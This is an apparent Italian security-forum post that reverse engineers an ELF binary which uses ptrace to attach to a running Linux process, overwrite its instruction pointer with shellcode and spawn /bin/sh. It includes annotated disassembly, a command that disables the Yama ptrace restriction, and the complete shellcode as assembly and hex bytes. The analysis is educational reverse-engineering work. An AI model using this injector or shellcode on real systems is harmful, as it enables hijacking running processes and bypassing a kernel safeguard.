SPAGHETTI HACKER

  1. PTRACE ELF INFECTOR - Dr. Pepper
    log.02e

    Tags
    malware
    re
    By Dr. Pepper il 8 Dec. 2023
     
    0 Comments   43 Views
    .
    Au8tLPx%202-17020512346063-17055769137546

    ;black box reverse engineering di un eseguibile ELF che attraverso la syscall ptrace va ad attaccarsi ad un processo in esecuzione per iniettare nello spazio di memoria di quest'ultimo una shellcode e poi eseguirla.

    ;la chiamata di sistema ptrace consente a un processo di eseguire il debug di un altro processo. utilizzando ptrace saremo in grado di interrompere l'esecuzione di un processo target ed esaminare i valori dei suoi registri e della memoria, nonché modificarli in qualsiasi valore desideriamo.

    ;il codice va ad iniettare la shellcode nella posizione dell'instruction pointer (registro rip le architetture x86_64) del processo a cui si è attaccato e di cui ottiene il controllo. la shellcode avvia una sessione di shell, e non restituire il controllo al processo originale.

    ;in linux esiste una protezione: per utilizzare questo eseguibile su un processo in running bisogna prima settare:

    ;echo 0 > /proc/sys/kernel/yama/ptrace_scope

    ;0 permessi ptrace classici. nessuna restrizione aggiuntiva sulle operazioni eseguite. l'utilizzo di PTRACE_TRACEME è invariato.

    ;1 ptrace limitato [valore predefinito]. quando si esegue un'operazione che richiede un ATTACH, il processo chiamante deve avere una relazione predefinita con il processo target. la relazione predefinita è che il processo target deve essere figlio del chiamante.

    ;arg uint32_t argc @ rdi
    ;arg char **argv @ rsi
    ;var int64_t canary @ rbp-0x8
    ;var void *var_60h @ rbp-0x60
    ;var void*data @ rbp-0xe0
    ;var pid_t pid @ rbp-0xe4
    ;var uint32_t var_f4h @ rbp-0xf4
    ;var char **str @ rbp-0x100

    0x000012cf endbr64
    0x000012d3 push rbp
    0x000012d4 mov rbp, rsp
    0x000012d7 sub rsp, 0x100
    0x000012de mov dword [var_f4h], edi ;argc
    0x000012e4 mov qword [str], rsi ;argv
    0x000012eb mov rax, qword fs:[0x28]
    0x000012f4 mov qword [canary], rax
    0x000012f8 xor eax, eax
    0x000012fa cmp dword [var_f4h], 2
    0x00001301 je 0x1332

    ;prologo della main, alloca spazio sullo stack e setta il canarino, poi controlla se sono stati passati due parametri, in caso continua, altrimenti stampa una stringa di Usage e poi esce.

    0x00001303 mov rax, qword [str]
    0x0000130a mov rdx, qword [rax]
    0x0000130d mov rax, qword [obj.stderr] ;obj.stderr__GLIBC_2.2.5
    ;[0x4020:8]=0
    0x00001314 lea rsi, str.Usage:_n_t_s_pid_n ; 0x203b ; "Usage:\n\t%s pid\n" ; const char
    0x0000131b mov rdi, rax ;FILE *stream
    0x0000131e mov eax, 0
    0x00001323 call sym.imp.fprintf ;int fprintf(FILE *stream, const char *format, ...)
    0x00001328 mov edi, 1 ;int status
    0x0000132d call sym.imp.exit ;void exit(int status)

    ;stampa "Usage:\n\t%s pid\n" ed esce; continua dall'indirizzo 0x1332.

    0x00001332 mov rax, qword [str]
    0x00001339 add rax, 8
    0x0000133d mov rax, qword [rax]
    0x00001340 mov rdi, rax ;const char *str
    0x00001343 call sym.imp.atoi ;int atoi(const char *str)

    ;converte la stringa del pid del processo, passata come parametro di input, in un numero.

    0x00001348 mov dword [pid], eax
    0x0000134e mov eax, dword [pid]
    0x00001354 mov esi, eax
    0x00001356 lea rdi, str._Tracing_process__d_n ; 0x204b ; "+ Tracing process %d\n" ; const
    0x0000135d mov eax, 0
    0x00001362 call sym.imp.printf ;int printf(const char *format)

    ;stampa "+ Tracing process %d\n" con il numero del processo.

    0x00001367 mov eax, dword [pid]
    0x0000136d mov ecx, 0 ;void*data
    0x00001372 mov edx, 0 ;void*addr
    0x00001377 mov esi, eax ;pid_t pid
    0x00001379 mov edi, 0x10 ;__ptrace_request request
    0x0000137e mov eax, 0
    0x00001383 call sym.imp.ptrace ;long ptrace(__ptrace_request request, pid_t pid, oid*data)

    ;fa la chiama a ptrace, (ptrace (PTRACE_ATTACH, target, NULL, NULL)
    ;ecx=NULL
    ;edx=NULL
    ;esi=pid
    ;edi=16 --> PTRACE_ATTACH

    ;PTRACE_TRACEME (richiesta del processo attuale di essere tracciato): 0
    ;PTRACE_PEEKTEXT (leggere una parola di memoria dalla posizione specificata): 1
    ;PTRACE_PEEKDATA (leggere una parola di memoria dalla posizione specificata): 2
    ;PTRACE_PEEKUSER (leggere un registro utente): 3
    ;PTRACE_POKETEXT (scrivere una parola di memoria alla posizione specificata): 4
    ;PTRACE_POKEDATA (scrivere una parola di memoria alla posizione specificata): 5
    ;PTRACE_POKEUSER (scrivere un registro utente): 6
    ;PTRACE_CONT (continuare l'esecuzione del processo tracciato): 7
    ;PTRACE_KILL (terminare il processo tracciato): 8
    ;PTRACE_SINGLESTEP (eseguire un singolo passo di istruzione): 9
    ;PTRACE_GETREGS (leggere i registri del processo tracciato): 12
    ;PTRACE_SETREGS (scrivere i registri del processo tracciato): 13
    ;PTRACE_ATTACH (attaccare un processo): 16
    ;PTRACE_DETACH (distaccare da un processo): 17
    ;PTRACE_SYSCALL (continuare l'esecuzione fino alla prossima syscall): 24
    ;PTRACE_SETOPTIONS (impostare opzioni del tracciamento): 0x4200

    0x00001388 test rax, rax
    0x0000138b jns 0x13a3
    0x0000138d lea rdi, str.ptrace_ATTACH_: ;0x2061 ; "ptrace(ATTACH):" ;const char *s
    0x00001394 call sym.imp.perror ;void perror(const char *s)
    0x00001399 mov edi, 1 ;int status
    0x0000139e call sym.imp.exit ;void exit(int status)

    ;segnala che l'ATTACH è fallito con il perror relativo a "ptrace(ATTACH):" e poi fa la exit(1).

    0x000013a3 lea rdi, str._Waiting_for_process... ;0x2071 ; "+ Waiting for process..." ;const
    0x000013aa call sym.imp.puts ;int puts(const char *s)
    0x000013af mov edi, 0 ;int *wstatus
    0x000013b4 call sym.imp.wait ;pid_t wait(int *wstatus)

    ;stampa "+ Waiting for process..." e chiama la wait per attendere il segnale SIGTRAP che indica che il processo di ATTACH è stato completato. SIGTRAP è un segnale POSIX che viene solitamente generato quando la CPU raggiunge un punto di breakpoint, solitamente utilizzato per il debug del codice.

    0x000013b9 lea rdi, str._Getting_Registers ;0x208a ;"+ Getting Registers" ;const char *s
    0x000013c0 call sym.imp.puts ;int puts(const char *s)
    0x000013c5 lea rdx, [data]
    0x000013cc mov eax, dword [pid]
    0x000013d2 mov rcx, rdx ;void*data
    0x000013d5 mov edx, 0 ;void*addr
    0x000013da mov esi, eax ;pid_t pid
    0x000013dc mov edi, 0xc ;__ptrace_request request
    0x000013e1 mov eax, 0
    0x000013e6 call sym.imp.ptrace ;long ptrace(__ptrace_request request, pid_t pid, oid*data)

    ;var void*data @ rbp-0xe0
    ;ptrace (PTRACE_GETREGS, target, NULL, &regs)
    ;PTRACE_GETREGS (leggere i registri del processo tracciato): 12
    ;stampa "+ Getting Registers" e poi chiama ptrace per ottenere i registri del processo che stiamo tracciando; le informazioni sui registri verranno messi nella struttura puntata da rcx.

    0x000013eb test rax, rax
    0x000013ee jns 0x1406
    0x000013f0 lea rdi, str.ptrace_GETREGS_:;0x209e ;"ptrace(GETREGS):" ;const char *s
    0x000013f7 call sym.imp.perror ;void perror(const char *s)
    0x000013fc mov edi, 1 ;int status
    0x00001401 call sym.imp.exit ;void exit(int status)

    ;stampa un errore con perror relativo a "ptrace(GETREGS):" e poi fa la exit(1).

    0x00001406 mov rax, qword [var_60h]
    0x0000140a mov rsi, rax
    0x0000140d lea rdi, str._Injecting_shell_code_at__p_n ;0x20af ;"+ Injecting shell code at t char *format
    0x00001414 mov eax, 0
    0x00001419 call sym.imp.printf ;int printf(const char *format)

    ;stampa la stringa "+ Injecting shell code at %p\n" + l'indirizzo di rip (lo spiego dopo perchè).

    0x0000141e mov rax, qword [var_60h]
    0x00001422 mov rdx, rax ;int64_t arg3
    0x00001425 mov rsi, qword [obj.shellcode] ;[0x4010:8]=0x2008 "H1.H..H..H.=." ; int64_t arg2
    0x0000142c mov eax, dword [pid]
    0x00001432 mov ecx, 0x20 ;"@" ; int64_t arg4
    0x00001437 mov edi, eax ;int64_t arg1
    0x00001439 call sym.inject_data

    ;considerato che la struttura user_regs_struct inizia da rbp-0xe0 [data], in [var_60h] abbiamo l'indirizzo di rip.

    user_regs_struct
    {
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
    unsigned long orig_rax;
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
    unsigned long fs_base;
    unsigned long gs_base;
    unsigned long ds;
    unsigned long es;
    unsigned long fs;
    unsigned long gs;
    };

    ;r15 -> rbp-0xe0, rip -> rbp-0x60 [var_60h]
    ;ecx=SHELLCODE_SIZE -> 32
    ;inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE)

    0x0000143e mov rax, qword [var_60h]
    0x00001442 add rax, 2

    ;aggiunge 2 a regs.rip perchè con il ptrace DETACH abbiamo rip decrementato di 2, e con questo incremento e il successivo decremento di DETACH, il registro rip punterà proprio la shellcode che è stata iniettata.

    0x00001446 mov qword [var_60h], rax
    0x0000144a mov rax, qword [var_60h]
    0x0000144e mov rsi, rax
    0x00001451 lea rdi, str._Setting_instruction_pointer_to__p_n ; 0x20d0 ; ; const char
    0x00001458 mov eax, 0
    0x0000145d call sym.imp.printf ;int printf(const char *format)

    ;stampa la stringa "+ Setting pointer to %p\n" + il nuovo regs.rip.

    0x00001462 lea rdx, [data]
    0x00001469 mov eax, dword [pid]
    0x0000146f mov rcx, rdx ;void*data
    0x00001472 mov edx, 0 ;void*addr
    0x00001477 mov esi, eax ;pid_t pid
    0x00001479 mov edi, 0xd ;__ptrace_request request
    0x0000147e mov eax, 0
    0x00001483 call sym.imp.ptrace ;long ptrace(__ptrace_request request, pid_t pid, oid*data)

    ;PTRACE_SETREGS (scrivere i registri del processo tracciato): 13
    ;andiamo a settare regs.rip incrementato di 2.

    0x00001488 test rax, rax
    0x0000148b jns 0x14a3
    0x0000148d lea rdi, str.ptrace_GETREGS_:; 0x209e ;"ptrace(GETREGS):" ;const char *s
    0x00001494 call sym.imp.perror ;void perror(const char *s)
    0x00001499 mov edi, 1 ;int status
    0x0000149e call sym.imp.exit ;void exit(int status)

    ;perror "ptrace(GETREGS):" e exit(1).

    0x000014a3 lea rdi, str._Run_it_ ;0x20f5 ; "+ Run it!" ; const char *s
    0x000014aa call sym.imp.puts ;int puts(const char *s)

    ;stampa "+ Run it!".

    0x000014af mov eax, dword [pid]
    0x000014b5 mov ecx, 0 ;void*data
    0x000014ba mov edx, 0 ;void*addr
    0x000014bf mov esi, eax ;pid_t pid
    0x000014c1 mov edi, 0x11 ;__ptrace_request request
    0x000014c6 mov eax, 0
    0x000014cb call sym.imp.ptrace ;long ptrace(__ptrace_request request, pid_t pid, oid*data)

    ;PTRACE_DETACH (distaccare da un processo): 17

    0x000014d0 test rax, rax
    0x000014d3 jns 0x14eb
    0x000014d5 lea rdi, str.ptrace_DETACH_: ;0x20ff ;"ptrace(DETACH):" ;const char *s
    0x000014dc call sym.imp.perror ;void perror(const char *s)
    0x000014e1 mov edi, 1 ;int status
    0x000014e6 call sym.imp.exit ;void exit(int status)

    ;perror "ptrace(DETACH):" + exit(1).

    0x000014eb mov eax, 0
    0x000014f0 mov rcx, qword [canary]
    0x000014f4 sub rcx, qword fs:[0x28]
    0x000014fd je 0x1504
    0x000014ff call sym.imp.__stack_chk_fail ;void __stack_chk_fail(void)

    ;controllo canarino e in caso stack fail.

    0x00001504 leave
    0x00001505 ret

    ;ret.

    <div class="code2">;inject_data
    ;inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE)

    ;arg pid_t arg1 @ rdi
    ;arg int64_t arg2 @ rsi
    ;arg void *arg3 @ rdx
    ;arg signed int64_t arg4 @ rcx
    ;var void*addr @ rbp-0x8
    ;var void**data @ rbp-0x10
    ;var int64_t var_14h @ rbp-0x14
    ;var pid_t pid @ rbp-0x24
    ;var signed int64_t var_28h @ rbp-0x28
    ;var int64_t var_30h @ rbp-0x30
    ;var void *var_38h @ rbp-0x38

    0x00001249 endbr64
    0x0000124d push rbp
    0x0000124e mov rbp, rsp
    0x00001251 sub rsp, 0x40
    0x00001255 mov dword [pid], edi ; arg1
    0x00001258 mov qword [var_30h], rsi ; arg2
    0x0000125c mov qword [var_38h], rdx ; arg3
    0x00001260 mov dword [var_28h], ecx ; arg4

    ;[var_28h]=SHELLCODE_SIZE
    ;[var_38h]=(void*)regs.rip
    ;[pid]=pid del processo
    ;[var_30h]=shellcode

    0x00001263 mov rax, qword [var_30h]
    0x00001267 mov qword [data], rax
    0x0000126b mov rax, qword [var_38h]
    0x0000126f mov qword [addr], rax
    0x00001273 mov dword [var_14h], 0
    0x0000127a jmp 0x12c0

    ;qui inizializza un indice e salta al cmp.

    0x0000127c mov rax, qword [data]
    0x00001280 mov ecx, dword [rax] ;shellcode
    0x00001282 mov rdx, qword [addr] ;(void*)regs.rip
    0x00001286 mov eax, dword [pid]
    0x00001289 mov esi, eax ;pid_t pid
    0x0000128b mov edi, 4 ;__ptrace_request request
    0x00001290 mov eax, 0
    0x00001295 call sym.imp.ptrace ;long ptrace(__ptrace_request request, pid_t pid, oid*data)

    ;edi=4 -> PTRACE_POKETEXT
    ;ecx è
    ;PTRACE_POKETEXT (scrivere una parola di memoria alla posizione specificata): 4
    ;(ptrace (PTRACE_POKETEXT, pid, d, *s)
    ;va a scrivere nella destinazione, cioè la zona di memoria del processo tracciato, puntata da regs.rip, la shellcode.

    0x0000129a test rax, rax
    0x0000129d jns 0x12b2
    0x0000129f lea rdi, str.ptrace_POKETEXT_:;0x2029 ;"ptrace(POKETEXT):" ;const char *s
    0x000012a6 call sym.imp.perror ;void perror(const char *s)
    0x000012ab mov eax, 0xffffffff ;-1
    0x000012b0 jmp 0x12cd

    ;perror relativo a "ptrace(POKETEXT):" e salta all'uscita.

    0x000012b2 add dword [var_14h], 4
    0x000012b6 add qword [data], 4
    0x000012bb add qword [addr], 4

    ;incrementa l'indice e i vari puntatori di 4 byte.
    ;La funzione PTRACE_POKETEXT funziona sulle word di 32bit, quindi convertiamo tutto in puntatori a word (32 bit) e aumentiamo anche l'indice che abbiamo in [var_14h] di 4.

    0x000012c0 mov eax, dword [var_14h]
    0x000012c3 cmp eax, dword [var_28h]
    0x000012c6 jl 0x127c

    ;torna indietro se eax ([var_14] l'indice) è minore di [var_28h].

    0x000012c8 mov eax, 0
    0x000012cd leave
    0x000012ce ret

    [obj.shellcode]

    section .text
    global _start

    _start:
    xor rax,rax
    mov rdx,rax ;No Env
    mov rsi,rax ;No argv
    lea rdi, [rel msg]

    add al, 0x3b

    syscall
    msg db '/bin/sh',0

    ; nasm -f elf -o s64.o s64.asm
    ; ld -o s64 s64.o


    #define SHELLCODE_SIZE 32

    unsigned char *shellcode =
    "\x48\x31\xc0\x48\x89\xc2\x48\x89"
    "\xc6\x48\x8d\x3d\x04\x00\x00\x00"
    "\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x00\xcc\x90\x90\x90";


    Edited by HCF - 27/4/2024, 19:58
      Share  
     
    .